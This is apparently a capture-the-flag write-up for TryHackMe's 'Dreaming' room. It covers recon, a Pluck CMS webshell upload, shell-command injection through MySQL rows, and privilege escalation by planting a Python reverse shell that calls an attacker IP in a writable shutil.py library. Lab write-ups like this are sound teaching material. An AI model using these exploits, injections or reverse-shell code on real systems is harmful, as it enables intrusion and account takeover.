Creds >>
TryHackMe – https://tryhackme.com/p/TheSysRat
HackTheBox (aka TheSysRat)
Discovery:
namp >>>
┌──(root㉿kali)-[/home/kali/THM/Dreaming]
└─# nmap -T4 -A -p- 10.10.140.44
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-20 02:19 EST
Nmap scan report for 10.10.140.44
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
| 256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_ 256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=11/20%OT=22%CT=1%CU=40916%PV=Y%DS=2%DC=T%G=Y%TM=655B0B
OS:B8%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M509ST11NW7%O2=M509ST11NW7%O3=M509NNT11NW7%O4=M509ST11NW7%O5=M509ST
OS:11NW7%O6=M509ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)EC
OS:N(R=Y%DF=Y%T=40%W=F507%O=M509NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 58.32 ms 10.14.0.1
2 55.60 ms 10.10.140.44
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 821.25 seconds
Webapp discovery >>
First look basic, let’s brute discovery
┌──(root㉿kali)-[/home/kali/THM/Dreaming]
└─# dirsearch -u http://10.10.140.44 -x 403
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/10.10.140.44/_23-11-20_02-21-56.txt
Error Log: /root/.dirsearch/logs/errors-23-11-20_02-21-56.log
Target: http://10.10.140.44/
[02:21:56] Starting:
[02:22:39] 301 - 310B - /app -> http://10.10.140.44/app/
[02:22:39] 200 - 941B - /app/
[02:23:03] 200 - 11KB - /index.html
Task Completed
What is in /app/ folder?
So CMS Pluck 4.7.13, good hint :-), is it exploitable? Yes! But we need some creds.
OK, let’s discovery more depth… We need find login page:
┌──(root㉿kali)-[/home/kali/THM/Dreaming]
└─# dirsearch -u http://10.10.140.44/app/pluck-4.7.13/ -x 403
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/10.10.140.44/-app-pluck-4.7.13-_23-11-20_02-27-20.txt
Error Log: /root/.dirsearch/logs/errors-23-11-20_02-27-20.log
Target: http://10.10.140.44/app/pluck-4.7.13/
[02:27:20] Starting:
[02:27:41] 200 - 2KB - /app/pluck-4.7.13/README.md
[02:27:50] 200 - 4KB - /app/pluck-4.7.13/admin.php
[02:28:13] 301 - 328B - /app/pluck-4.7.13/data -> http://10.10.140.44/app/pluck-4.7.13/data/
[02:28:13] 200 - 48B - /app/pluck-4.7.13/data/
[02:28:15] 301 - 328B - /app/pluck-4.7.13/docs -> http://10.10.140.44/app/pluck-4.7.13/docs/
[02:28:16] 200 - 2KB - /app/pluck-4.7.13/docs/
[02:28:20] 301 - 329B - /app/pluck-4.7.13/files -> http://10.10.140.44/app/pluck-4.7.13/files/
[02:28:20] 200 - 790B - /app/pluck-4.7.13/files/
[02:28:25] 301 - 330B - /app/pluck-4.7.13/images -> http://10.10.140.44/app/pluck-4.7.13/images/
[02:28:25] 200 - 792B - /app/pluck-4.7.13/images/
[02:28:26] 302 - 0B - /app/pluck-4.7.13/index.php -> http://10.10.140.44/app/pluck-4.7.13/?file=dreaming
[02:28:26] 302 - 0B - /app/pluck-4.7.13/index.php/login/ -> http://10.10.140.44/app/pluck-4.7.13/?file=dreaming
[02:28:26] 200 - 4KB - /app/pluck-4.7.13/install.php
[02:28:30] 200 - 1KB - /app/pluck-4.7.13/login.php
[02:28:45] 200 - 47B - /app/pluck-4.7.13/robots.txt
Task Completed
O.K we have login page >>>
Try to guess, I yes it is easy, password is in Top 10 worst password in 2022. 😉
O.K. we can upload reshell by exploit …
┌──(root㉿kali)-[/home/kali/THM/Dreaming]
└─# python exp.py 10.10.140.44 80 '*********' '/app/pluck-4.7.13/'
Authentification was succesfull, uploading webshell
Uploaded Webshell to: http://10.10.140.44:80/app/pluck-4.7.13//files/shell.phar
Great!
Lucien flag >>>
After some basic researches like linpeas, SUID and etc, we can find interesting file in /opt/ folder
p0wny@shell:/opt# ls -lai
total 16
393218 drwxr-xr-x 2 root root 4096 Aug 15 12:45 .
2 drwxr-xr-x 20 root root 4096 Jul 28 22:35 ..
393521 -rwxrw-r-- 1 death death 1574 Aug 15 12:45 getDreams.py
394522 -rwxr-xr-x 1 lucien lucien 483 Aug 7 23:36 test.py
p0wny@shell:/opt# cat test.py
import requests
#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "************"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
And there is password to ssh connection 🙂
OK.
lucien@dreaming:~$ ls -lia
total 44
527423 drwxr-xr-x 5 lucien lucien 4096 Aug 25 16:26 .
524290 drwxr-xr-x 5 root root 4096 Jul 28 22:26 ..
527437 -rw------- 1 lucien lucien 684 Aug 25 16:27 .bash_history
527425 -rw-r--r-- 1 lucien lucien 220 Feb 25 2020 .bash_logout
527426 -rw-r--r-- 1 lucien lucien 3771 Feb 25 2020 .bashrc
527452 drwx------ 3 lucien lucien 4096 Jul 28 18:42 .cache
660569 drwxrwxr-x 4 lucien lucien 4096 Jul 28 18:42 .local
527651 -rw-rw---- 1 lucien lucien 19 Jul 28 16:27 lucien_flag.txt
527165 -rw------- 1 lucien lucien 696 Aug 25 16:26 .mysql_history
527424 -rw-r--r-- 1 lucien lucien 807 Feb 25 2020 .profile
527474 drwx------ 2 lucien lucien 4096 Jul 28 14:25 .ssh
527481 -rw-r--r-- 1 lucien lucien 0 Jul 28 14:28 .sudo_as_admin_successful
lucien@dreaming:~$ cat lucien_flag.txt
******************
lucien@dreaming:~$
lucien –>> death
Let’s look on traverse to death user. After short ivestigation we can find interisting things in history lucien:
mysql -u lucien -p **********
ls -la
cat .bash_history
OK we have mysql connection, so what is in sudo -l?
lucien@dreaming:~$ sudo -l
Matching Defaults entries for lucien on dreaming:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lucien may run the following commands on dreaming:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
We know script getDreams.py to run as user death, but for now is script unreadable. But there is othre hint :
lucien@dreaming:~$ cat .mysql_history
_HiStOrY_V2_
use\040library;
INSERT\040INTO\040dreams\040(dreamer,\040dream)\040VALUES\040('whoami',\040'TEST');
select\040*\040from\040dreams;
DELETE\040FROM\040dreams\040WHERE\040dream\040LIKE\040'%TEST%';
exit
use\040library;
select\040*\040from\040dreamers;
show\040tables;
select\040*\040from\040dreams;
UPDATE\040dreams\040SET\040dream\040=\040REPLACE((dreamer,\040'whoami',\040'changingData');
UPDATE\040dreams\040SET\040dream\040=\040'Changed'\040WHERE\040dream\040=\040'TEST';
FLUSH\040PRIVILEGES;
exit
use\040library;
show\040tables;
select\040*\040from\040dreams;
UPDATE\040dreams\040SET\040dream\040=\040'Changed'\040WHERE\040dream\040=\040'TEST';
select\040*\040from\040dreams;
exit
And what make script getDreams.py? Some hint is in /opt/ folder >>
lucien@dreaming:/opt$ cat getDreams.py
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
Here is probably ssh cred to death, we need to get this file with password.
So we can use MYSQL for run our own command be cause there is run a command in console,m here is te interesting part:
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
So, we can get command into a mysql query, let’s try with whoami>>>
lucien@dreaming:~$ mysql -u lucien -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.33-0ubuntu0.20.04.4 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | Flying in the sky |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.01 sec)
mysql> INSERT INTO dreams (dreamer, dream) VALUES ('whoami | bash', '-i');
Query OK, 1 row affected (0.01 sec)
mysql> select * from dreams;
+---------------+------------------------------------+
| dreamer | dream |
+---------------+------------------------------------+
| Alice | Flying in the sky |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
| whoami | bash | -i |
+---------------+------------------------------------+
5 rows in set (0.00 sec)
mysql> exit
And it works !!
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
death@dreaming:/home/lucien$ whoami
death@dreaming:/home/lucien$ exit
death
OK, so we can modify to cat getDreams.py fle >>
death@dreaming:~$ ls -lia
total 56
660617 drwxr-xr-x 4 death death 4096 Aug 25 20:04 .
524290 drwxr-xr-x 5 root root 4096 Jul 28 22:26 ..
661657 -rw------- 1 death death 434 Nov 20 07:51 .bash_history
660619 -rw-r--r-- 1 death death 220 Feb 25 2020 .bash_logout
660620 -rw-r--r-- 1 death death 3771 Feb 25 2020 .bashrc
657078 drwx------ 3 death death 4096 Jul 28 17:20 .cache
660625 -rw-rw---- 1 death death 21 Jul 28 16:33 death_flag.txt
660917 -rwxrwx--x 1 death death 1539 Aug 25 16:15 getDreams.py
660621 drwxrwxr-x 4 death death 4096 Jul 28 17:21 .local
655553 -rw------- 1 death death 465 Aug 25 20:04 .mysql_history
660618 -rw-r--r-- 1 death death 807 Feb 25 2020 .profile
655587 -rw------- 1 death death 8157 Aug 7 23:51 .viminfo
661685 -rw-rw-r-- 1 death death 165 Jul 29 00:17 .wget-hsts
death@dreaming:~$ cat death_flag.txt
******************
death >>> morpheus
In past I found one process in cron service using pspy64, script run every minute >>
2023/11/20 07:59:01 CMD: UID=1002 PID=1837 | /usr/bin/python3.8 /home/morpheus/restore.py
Let’s look on script >>
death@dreaming:~$ cat /home/morpheus/restore.py
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")
So investigate python and library shutil.py
death@dreaming:~$ ls -lai /usr/bin/python3.8
262583 -rwxr-xr-x 1 root root 5494584 May 26 14:05 /usr/bin/python3.8
death@dreaming:~$ find / -name shutil.py 2>/dev/null
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
death@dreaming:~$ ls -lai /usr/lib/python3.8/shutil.py
263928 -rw-rw-r-- 1 root death 51474 Aug 7 23:52 /usr/lib/python3.8/shutil.py
And YES shutil.py is writeable to user death, we can modify to reverse shell:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<attacker IP>",<attacker port>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Wait a minute and BANG >>>
┌──(root㉿kali)-[/home/kali]
└─# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.14.47.104] from (UNKNOWN) [10.10.140.44] 43010
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
morpheus@dreaming:~$ ls -lai
ls -lai
total 44
661641 drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 23:48 .
524290 drwxr-xr-x 5 root root 4096 Jul 28 22:26 ..
660998 -rw------- 1 morpheus morpheus 58 Aug 14 18:16 .bash_history
661655 -rw-r--r-- 1 morpheus morpheus 220 Feb 25 2020 .bash_logout
661666 -rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc
661679 -rw-rw-r-- 1 morpheus morpheus 22 Jul 28 22:37 kingdom
661668 drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 22:30 .local
661667 -rw-rw---- 1 morpheus morpheus 28 Jul 28 22:29 morpheus_flag.txt
661642 -rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile
661677 -rw-rw-r-- 1 morpheus morpheus 180 Aug 7 23:48 restore.py
661676 -rw-rw-r-- 1 morpheus morpheus 66 Jul 28 22:33 .selected_editor
morpheus@dreaming:~$ cat morpheus_flag.txt
cat morpheus_flag.txt
*************************